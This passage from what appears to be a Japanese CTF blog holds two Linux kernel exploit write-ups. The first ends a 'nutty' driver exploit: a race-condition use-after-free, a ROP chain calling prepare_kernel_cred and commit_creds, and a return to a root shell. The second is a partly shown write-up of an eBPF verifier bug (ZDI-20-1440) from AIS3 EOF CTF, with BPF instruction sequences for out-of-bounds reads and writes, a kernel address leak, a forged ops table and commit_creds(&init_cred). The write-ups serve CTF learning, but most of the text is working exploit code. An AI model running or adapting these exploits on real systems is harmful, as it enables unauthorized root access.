    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

/** nutty **/
// commands
#define NUT_CREATE 0x13371
#define NUT_DELETE 0x13372
#define NUT_SHOW 0x13373
#define NUT_APPEND 0x13374

// type
struct req {
    int idx;
    int size;
    char* contents;
    int content_length;
    char* show_buffer;
};

// globals
int nutfd;
char buf[0x400];            // general shared buf between threads in userland
ulong kernbase;
uint second_size = 0x2e0;   // second nut size
ulong *chain = 0;           // ROP chain
int leaked = -1;
uint count = 0;             // just counters
ulong total_try = 0;
ulong delete_count = 0;
ulong append_count = 0;
uint target_idx = 0;
ulong current_cred;

// wrappers
int _create(int fd, uint size, uint csize, char *data){
  //printf("[+] create: %lx, %lx, %p\n", size, csize, data);
  assert(fd > 0);
  assert(0<=size && size<0x400);
  assert(csize > 0);
  assert(count < 10);
  struct req myreq = {
    .size = size,
    .content_length = csize,
    .contents = data
  };
  return ioctl(fd, NUT_CREATE, &myreq);
}

int _show(int fd, uint idx, char *buf){
  //printf("[+] show: %lx, %p\n", idx, buf);
  assert(fd > 0);
  struct req myreq ={
    .idx = idx,
    .show_buffer = buf
  };
  return ioctl(fd, NUT_SHOW, &myreq);
}

int _delete(int fd, uint idx){
  //printf("[+] delete: %x\n", idx);
  assert(fd > 0);
  struct req myreq = {
    .idx = idx,
  };
  return ioctl(fd, NUT_DELETE, &myreq);
}

int _append(int fd, uint idx, uint size, uint csize, char *data){
  //printf("[+] append: %x, %x %x, %p\n", idx, size, csize, data);
  assert(fd > 0);
  assert(0<=size && size<0x400);
  assert(csize > 0);
  struct req myreq = {
    .size = size,
    .content_length = csize,
    .contents = data,
    .idx = idx
  };
  return ioctl(fd, NUT_APPEND, &myreq);
}
/** (END nutty) **/

// thread handlers
static void* shower(void *arg){
  char rbuf[0x200];
  memset(rbuf, 0, 0x200);
  int result;
  int tmpfd;
  ulong shower_counter = 0;
  while(leaked == -1){
    // alloc seq_operations in case kUAF is realized
    tmpfd = open("/proc/self/stat", O_RDONLY);
    result = _show(nutfd, 0, rbuf);
    if(result < 0){ // not existance
      close(tmpfd);
      continue;
    }
    // if the value of nut is not AAAAAA..., kUAF is realized and seq_operations is there
    if(((ulong*)rbuf)[0] != 0x4141414141414141){
      leaked = 1;
      puts("[!] LEAKED!");
      for(int ix=0; ix!=4;++ix){
        printf("[!] 0x%lx\n", ((ulong*)rbuf)[ix]);
      }
      break;
    }
    // kfree seq_operations (if you forget, it leads to out of memory and system crash)
    close(tmpfd);
    if(shower_counter % 0x1000 == 0){
      printf("[-] shower: 0x%lx, 0x%lx\n", shower_counter, ((ulong*)rbuf)[0]);
    }
    ++shower_counter;
  }
  puts("[+] shower returning...");
  return (void*)((ulong*)rbuf)[0];
}

static void* appender(void *arg){
  int result = 0;
  char wbuf[0x200];
  memset(wbuf, 'A', 0x200);
  while(leaked == -1){
    result = _append(nutfd, target_idx, 0x0, 0x1, wbuf);
    if(result >= 0){
      ++append_count;
      if(append_count % 0x100 == 0)
        printf("[-] append: 0x%lx\n", append_count);
    }
  }
  puts("[+] appender returning...");
}

static void* writer(void *arg){
  char rbuf[0x400];
  int result;
  int tmpfd;
  ulong writer_counter = 0;

  while(leaked == -1){
    // alloc tty_struct in case kUAF is realized
    tmpfd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    result = _show(nutfd, target_idx, rbuf);
    if(result < 0){ // idx0が存在しなy
      close(tmpfd);
      continue;
    }
    // if the value of nut is not AAAAAA..., kUAF is realized and seq_operations is there
    if(((ulong*)rbuf)[0] != 0x4242424242424242){
      leaked = 1;
      // do my businness first
      _delete(nutfd, target_idx);

      // gen chain
      chain = (ulong*)((ulong)rbuf + 8);
      *chain++ = kernbase + 0x14ED59;           // pop rdi, pop rsi // MUST two pops to remove necessary pointers in tty_struct
      *chain++ = ((ulong*)rbuf)[2];             // this musn't be collappsed
      *chain++ = ((ulong*)rbuf)[7] & ~0xFFFUL;  // this musn't be collappsed

      *chain++ = kernbase + 0x001BDD; // 0xffffffff81001bdd: pop rdi ; ret  ;  (6917 found)
      *chain++ = 0;
      *chain++ = kernbase + 0x08C3C0; // prepare_kernel_cred
      *chain++ = kernbase + 0x0557B5; // pop rcx
      *chain++ = 0;
      *chain++ = kernbase + 0xA2474B; // mov rdi, rax, rep movsq
      *chain++ = kernbase + 0x08C190; // commit_creds

      *chain++ = kernbase + 0x0557b5; // pop rcx
      *chain++ = kernbase + 0x00CF31; // [starter] leave

      *chain++ = kernbase + 0xc00e06; // swapgs 0xffffffff81c00e26 mov rdi,cr3 (swapgs_restore_regs_and_return_to_usermode)

      *chain++ = 0xEEEEEEEEEEEEEEEE   // dummy
      *chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq
      *chain++ = &NIRUGIRI;
      *chain++ = user_cs;
      *chain++ = user_rflags;
      *chain++ = user_sp;
      *chain++ = user_ss;

      assert(setxattr("/home/user/exploit", "NIRUGIRI", rbuf, second_size, XATTR_CREATE));
      ioctl(tmpfd, 0, 0x13371337);

      assert(tmpfd > 0);
      return; // unreacable
    }
    close(tmpfd);
    if(writer_counter % 0x1000 == 0){
      printf("[-] writer: 0x%lx, 0x%lx\n", writer_counter, ((ulong*)rbuf)[0]);
    }
    ++writer_counter;
  }
  puts("[+] writer returning...");
  return 0;
}

struct _msgbuf{
  long mtype;
  char mtext[0x30];
};
struct _msgbuf2e0{
  long mtype;
  char mtext[0x2e0];
};

int main(int argc, char *argv[]) {
  pthread_t creater_thr, deleter_thr, shower_thr, appender_thr, cad_thr, cder_thr, writer_thr;
  char rbuf[0x400];
  printf("[+] NIRUGIRI @ %p\n", &NIRUGIRI);
  memset(rbuf, 0, 0x200);
  memset(buf, 'A', 0x200);
  nutfd = open(DEV_PATH, O_RDWR);
  assert(nutfd > 0);
  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  if(qid == -1) errExit("msgget");
  struct _msgbuf msgbuf = {.mtype = 1};
  struct _msgbuf2e0 msgbuf2e0 = {.mtype = 2};
  KMALLOC(qid, msgbuf2e0, 0x5);

  // leak kernbase
  _create(nutfd, 0x20, 0x20, buf);
  int appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
  if(appender_fd > 0)
    errExit("appender_fd");
  int shower_fd = pthread_create(&shower_thr, NULL, shower, 0);
  if(shower_fd > 0)
    errExit("shower_fd");
  void *ret_shower;
  pthread_join(appender_thr, 0);
  pthread_join(shower_thr, &ret_shower);
  const ulong single_start = (ulong)ret_shower;
  kernbase = single_start - 0x1FA9E0;
  printf("[!] kernbase: 0x%lx\n", kernbase);

  // until here, there is NO corruption //
  leaked = -1;
  target_idx = 1;
  memset(buf, 'B', 0x200);
  for(int ix=1; ix!=0x30; ++ix){
    ((ulong*)buf)[ix] = 0xdead00000 + ix*0x1000;
  }
  printf("[+] starting point: 0x%lx\n", kernbase + 0x00CF31);
  ((ulong*)buf)[0x60/8] = kernbase + 0x00CF31;

  _create(nutfd, second_size, second_size, buf);
  _create(nutfd, 0x2e0, 0x2e0, buf);

  save_state();
  appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
  if(appender_fd > 0)
    errExit("appender_fd");
  int writer_fd = pthread_create(&writer_thr, NULL, writer, 0);
  if(writer_fd > 0)
    errExit("writer_fd");
  pthread_join(appender_thr, 0);
  pthread_join(writer_thr, 0);

  NIRUGIRI(); // unreachable
  return 0;
}

 

9: アウトロ

f:id:smallkirby:20210221230418p:plain

the exploit works only in the local

最近kernel問をちょこちょこ解いていたから、ちゃんとCTF開催期間中にremoteでrootを取りたかった。

ちゃんと寝たあとに、 復習してちゃんと動くexploitを書き直す

おやすみなさい。。。

 

【追記20210222】

書きました。setxattrの第一引数を/tmp/exploitから/home/user/exploitにしただけです。悲しいね。人生って、こういうものだよ。

【追記終わり】

 

 

10: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 50.0】DayOne - AIS3 EOF CTF 2020 Finals (kernel exploit)

keywords

eBPF / verifier bug / kernel exploit / commit_creds(&init_cred) / without bpf_map.btf

 

 

 

1: イントロ

いつぞや開催された AIS3 EOF CTF 2020 Finals (全く知らないCTF...)。そのpwn問題である Day One を解いていく。先に言うと本問題は去年公開されたLinuxKernelのeBPF verifierのバグを題材にした問題であり、元ネタはZDIから公開されている。オリジナルのauthorはTWの人で、問題のauthorはHexRabbitさん。

kernel強化月間nowです。何か解くべき問題があったら教えてください。

github.com

 

2: static

basic

basic.sh
/ $ cat /proc/version
Linux version 4.9.249 (root@kernel-builder) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) ) #8 SMP Mon1
/ $ cat /proc/sys/net/core/bpf_jit_enable
1

qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 oops=panic panic=-1 kaslr quiet" \
  -monitor /dev/null \
  -nographic \
  -cpu qemu64,+smep,+smap \
  -m 256M \
  -virtfs local,path=$SHARED_DIR,mount_tag=shared,security_model=passthrough,readonly

 

デバッグ用なのか、こちらで指定するディレクトリをvirtfsでマウントしてくれる(今回は関係ない)。

SMEP有効・SMAP有効・KAISER有効・oops->panic。

 

patch

patch.diff
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 335c002..08dca71 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -352,7 +352,7 @@ static void print_bpf_insn(const struct bpf_verifier_env *env,
 			u64 imm = ((u64)(insn + 1)->imm << 32) | (u32)insn->imm;
 			bool map_ptr = insn->src_reg == BPF_PSEUDO_MAP_FD;
 
-			if (map_ptr && !env->allow_ptr_leaks)
+			if (map_ptr && !capable(CAP_SYS_ADMIN))
 				imm = 0;
 
 			verbose("(%02x) r%d = 0x%llx\n", insn->code,
@@ -3627,7 +3627,7 @@ int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
 	if (ret < 0)
 		goto skip_full_check;
 
-	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
+	env->allow_ptr_leaks = true;
 
 	ret = do_check(env);
 
@@ -3731,7 +3731,7 @@ int bpf_analyzer(struct bpf_prog *prog, const struct bpf_ext_analyzer_ops *ops,
 	if (ret < 0)
 		goto skip_full_check;
 
-	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
+	env->allow_ptr_leaks = true;
 
 	ret = do_check(env);

うーむ、なんというかZDI-20-1440CAP_SYS_ADMINがないとできないこと()を無理やり修正してる。若干予定調和感が否めないな。

 

3: vuln

ZDI-20-1440

verifierのregister rangeの更新ミス。本問で利用しているkernelが上記からも分かるとおり、 4.9.249 であり、これはこのバグの影響を受けている数少ないバージョンの一つである。以下のようにadjust_reg_min_max_vals()においてBPF_RSH演算の際にdst_regの値の更新をミスっている。まんまZDI-20-1440のままである。

kernel/bpf.verifier.c
	case BPF_RSH:
 	/* RSH by a negative number is undefined, and the BPF_RSH is an
 	 * unsigned shift, so make the appropriate casts.
 	 */
 	if (min_val < 0 || dst_reg->min_value < 0)
 		dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
 	else
 		dst_reg->min_value =
 			(u64)(dst_reg->min_value) >> min_val;
 	if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
 		dst_reg->max_value >>= max_val;
 	break;

 

patchの意味

そもそもZDI-20-1440がLPEまで繋がらなかったのは、 mapを指すポインタに対する加法を行うのにCAP_SYS_ADMIN が必要だったからである。BPF_ALU64(BPF_ADD)を行う際には、do_check()において以下のようにcheck_alu_op()が呼び出され、それが加算であり、且つdstレジスタの中身がPTR_TO_MAP_VALUE又はPTR_TO_MAP_VALUE_ADJでない場合には、レジスタを完全に unknown でマークしてしまう([S64_MIN,S64_MAX]にされる)。

do_check()@kernel/bpf/verifier.c
		if (class == BPF_ALU || class == BPF_ALU64) {
			err = check_alu_op(env, insn);
			if (err)
				return err;

		} else if (class == BPF_LDX) {
check_alu_op()@kernel/bpf/verifier.c
		if (env->allow_ptr_leaks &&
		    BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
		    (dst_reg->type == PTR_TO_MAP_VALUE ||
		     dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
			dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
		else
			mark_reg_unknown_value(regs, insn->dst_reg);
	}

それではこのenv->allow_ptr_leaksがいつセットされるかと言うと、bpf_check()do_check()を呼び出す直前にCAP_SYS_ADMINを持っているかどうかで判断している。

bpf_check()@kernel/bpf/verifier.c
	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);

	ret = do_check(env);

即ち、CAP_SYS_ADMINがないとallow_ptr_leakstrueにならず、したがってmapに対する加算が全てunknownでマークされてしまうため、mapに対するOOBの攻撃ができなくなってしまうというわけである。

今回のパッチは、2つ目と3つ目でこの制限を取り払いallow_ptr_leaksを常にtrueにしている(1つ目はlog表示のことなので関係ない)。

 

最新のkernelでは

最初にZDIの該当レポートを読んだ時、mapポインタに対する加算がCAP_SYS_ADMINがないとダメだということにちょっと驚いた。というのも、TWCTFのeepbfをやったときには、この権限がない状態でmapを操作してAAWに持っていったからだ。というわけで新しめのkernelを見てみると、check_alu_op()において該当の処理が消えていた。すなわち、mapポインタに対する加法はそれがmapの正答なメモリレンジ内にある限りnon-adminに対しても許容されるようになっていた(勿論レンジのチェックはcheck_map_access()において行われる)。

 

というか、pointer leakが任意に可能じゃん...

というか、allow_ptr_leakstrueになっているため、任意にポインタをリークすることができる。例えば、以下のようなeBPFプログラムで(rootでなくても)簡単にmapのアドレスがleakできる。

stack_leak.c
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8)
result.sh
/ $ ./mnt/exploit
[80] 0xffff88000e300a90
[88] 0xffff88000e300a90
[96] 0xffff88000e300a90
[104] 0xffff88000e300a90
[112] 0xffff88000e300a90
[120] 0xffff88000e300a90
[128] 0xffff88000e300a90
[136] 0xffff88000e300a90

うーん、お題のために制限をゆるくしすぎてる気がするなぁ。。。

 

 

4: leak kernbase

0に見える1をつくる

こっからは作業ゲーです。後半は意外とそんなことなくて勉強になった。

まずは以下のBPFコードでverifierからは0に見えるような1をつくる。

make_1_looks_0.c
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),               // r6 *= N

但し、control_mapはサイズ8、要素数10のARRAYである。[0]には常に1を入れ、[1]には常に0を入れておく。前半はただcontrol_mapから0と1を取得しているだけである。fix r6/r7 rangeと書いてあるところでバグを利用して0に見える1を作っている。ジャンプ命令が多いのは、R6/R7の上限と下限をそれぞれ1,0にするためである。最後に、BPF_NEGにしているのは、leakの段階ではleakしたいものが負の方向にあるからである。最後に 定数のN をかけてOOB(R)を達成している。尚、このNをmapから取ってきたような値にすると、MULの時にverifierがdstをunknownにマークしてしまうため、プログラムをロードする度に定数値をNに入れて毎回動的にロードしている(前回eBPF問題を解いた時はNをmapから取得した値にして何度もverifierに怒られた...)。

実際にlog表示を見てみると、以下のようにR6は0と認識されていることが分かる。

verifier-log.txt
from 28 to 31: R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0 R8=map_valup
31: (75) if r7 s>= 0x2 goto pc+1
 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0,max_value=1 R8=map_value(p
32: (05) goto pc+2
35: (7f) r6 >>= r7
36: (87) r6 neg 0
37: (27) r6 *= 136
38: (0f) r9 += r6
39: (79) r3 = *(u64 *)(r9 +0)
 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=0 R7=inv,min_value=0,max_value=1 R8=map_value(p
40: (7b) *(u64 *)(r8 +0) = r3

 

leak from bpf_map.ops

今回はmap typeとしてARRAYを選択しているため、struct bpf_arraystruct bpf_mapが使われる。構造体はそれぞれ以下のとおり。

f:id:smallkirby:20210220030222p:plain

struct bpf_array

f:id:smallkirby:20210220030238p:plain

struct bpf_map

 

この内、bpf_map.opsは、kernel/bpf/arraymap.cで定義されるようにarray_opsが入っている。これをleakすることでkernbaseをleakしたことになる。

f:id:smallkirby:20210220030324p:plain

bpf_map.ops has a pointer to array_ops

 

厳密にmapからopsまでのオフセットを計算するのは面倒くさいため適当に検討をつけてみてみると、以下のようになる。(eBPFには制限の一つとしてロードできるプログラム数に上限があるため注意)

leak-bpf_map-ops.c
  int N=0x80;
  for(int ix=N/8; ix!=N/8+8; ++ix){
    printf("[%d] 0x%lx\n", ix*0x8, read_rel(ix*0x8));
  }
 
 / # ./mnt/exploit
[128] 0xa00000008
[136] 0x400000002
[144] 0xffffffff81a12100 <-- こいつ
[152] 0x0
[160] 0x0
[168] 0x0
[176] 0x0
[184] 0x0

 

5: AAR via bpf_map_get_info_by_id() [FAIL]

以前解いたeebpfでは、bpf_map.btfを書き換えてbpf_map_get_info_by_id()を呼び出すことでAARを実現できた。だが上のbpf_map構造体を見て分かるとおり、 bpf_map.bfpというメンバは存在していない 。kernelが古いからね...。というわけで、この方法によるAARは諦める。

 

6: forge ops and commit_creds(&init_cred) directly

本問では、上述したようにmap自体のアドレスを容易にleakすることができる。また、bpf_mapの全てを自由に書き換えることができる。よって、mapの中にfake function tableを用意しておいて、bpf_map.opsをこれに向ければ任意の関数を実行させることができる。取り敢えず、以下のようにするとRIPが取れる。

rip-poc.c
  const ulong fakeops_addr = controlmap_addr + 0x10;
  int N = 0x90;
  struct bpf_insn reader_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_6),                // r7 = r6
    // overwrite ops into forged ops
    BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),       // r8 += r6
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
    
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  int evilwriter= create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
  if(evilwriter < 0){
    errExit("reader not initialized");
  }

  // setup fake table
  for(int ix=0; ix!=7; ++ix){
    array_update(control_map, ix+2, 0xcafebabedeadbeef);
  }

  array_update(control_map, 0, 1);
  array_update(control_map, 1, 0);
  trigger_proc(evilwriter);
  const ulong tmp = get_ulong(control_map, 0);

f:id:smallkirby:20210220031345p:plain

get RIP (for now, RIP to 0xcafebabedeadbeef)

ここでOopsが起きた原因は、用意したfaketableの+0x20にアクセスし、不正なアドレス0xcafebabedeadbeefにアクセスしようとしたからである。ジャンプテーブルの+0x20というのはmap_lookup_elem()である。

f:id:smallkirby:20210220030630p:plain

members of array_ops

 

さて、このようにRIPを取ることはできるが、問題はもとの関数テーブルの全ての関数の第一引数がstruct bpf_map *mapであるということである。つまり、第一引数は任意に操作することができない。よって、関数の中でいい感じに第二引数以降を利用していい感じの処理をしてくれる関数があると嬉しい。その観点でkernel/bpf/arraymap.cを探すと、fd_array_map_delete_elem()が見つかる。これは、perf_event_array_opsとかprog_array_opsとかのメンバである。(尚、map_array_opsの該当メンバであるarray_map_delete_elem()-EINVALを返すだけのニート関数である。お前なんて関数やめてインラインになってしまえばいい)。

kernel/bpf/arraymap.c
static int fd_array_map_delete_elem(struct bpf_map *map, void *key)
{
	struct bpf_array *array = container_of(map, struct bpf_array, map);
	void *old_ptr;
	u32 index = *(u32 *)key;

	if (index >= array->map.max_entries)
		return -E2BIG;

	old_ptr = xchg(array->ptrs + index, NULL);
	if (old_ptr) {
		map->ops->map_fd_put_ptr(old_ptr);
		return 0;
	} else {
		return -ENOENT;
	}
}

xchg()は、第一引数の指すポインタの指す先に第二引数の値を入れて、古い値を返す関数である。そしてその先でmap->ops->map_fd_put_ptr(old_ptr)を呼んでくれる。つまり、array->ptrsの指す先に&init_credを入れておいて、map->ops->map_fd_put_ptrcommit_credsに書き換えればcommit_creds(&init_cred)を直接呼んだことになる。やったね!

 

一つ注意として、execve()でシェルを呼んでしまうと、socketが解放されてその際にmapの解放が起きてしまう。テーブルを書き換えているためその時にOopsが起きて死んでしまう。よってシェルはsystem("/bin/sh")で呼ぶ。

 

 

7: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>

// eBPF-utils
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
